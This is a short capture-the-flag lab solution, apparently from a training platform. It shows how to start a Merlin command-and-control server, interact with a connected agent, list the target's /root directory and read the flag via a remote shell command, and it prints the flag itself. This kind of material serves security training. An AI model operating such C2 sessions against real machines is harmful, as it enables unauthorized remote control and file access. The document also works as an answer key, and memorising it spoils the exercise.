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Important Note: This document illustrates all the important steps required to complete this lab.
This is by no means a comprehensive step-by-step solution for this exercise. This is only
provided as a reference to various commands needed to complete this exercise and for your
further research on this topic. Also, note that the IP addresses and domain names might be
different in your lab.

Objective: Start the Merlin server on the eth1 interface. Once the Merlin agent connects
back, retrieve the flag kept in the root directory of the other machine!

Solution:

Step 1: Check the IP address of the machine.

Command: ip addr

https://www.attackdefense.com/challengedetails?cid=1577


Step 2: Start merlinServer.

Command: merlinServer -i 192.30.64.2

Merlin server is now listening for inbound connections from the agents. In a few seconds, a
client connects to the server. The list of all sessions can be listed using sessions command.

Command: sessions

Step 3: Select this session for interaction.

Command: interact 0b574407-f2fc-450d-af4e-c858bc62cb34



Step 4: Check the available commands.

Command: help

Step 5: Check the info about the machine on which the merlin agent is operating.

Command: info



Step 6: Check the contents of the root directory of the target machine (on which agent is
running).

Command: ls /root

The server will create a job and assign it to an agent. Depending on task, it might take time to
get the output.

After a few seconds, the output will be shown.



Step 7: Retrieve the flag.

Command: shell cat /root/flag

Flag: f02dcc52da5f871c0ef1998a9cfe4993

References:

● Merlin (https://github.com/Ne0nd0g/merlin)

https://github.com/Ne0nd0g/merlin

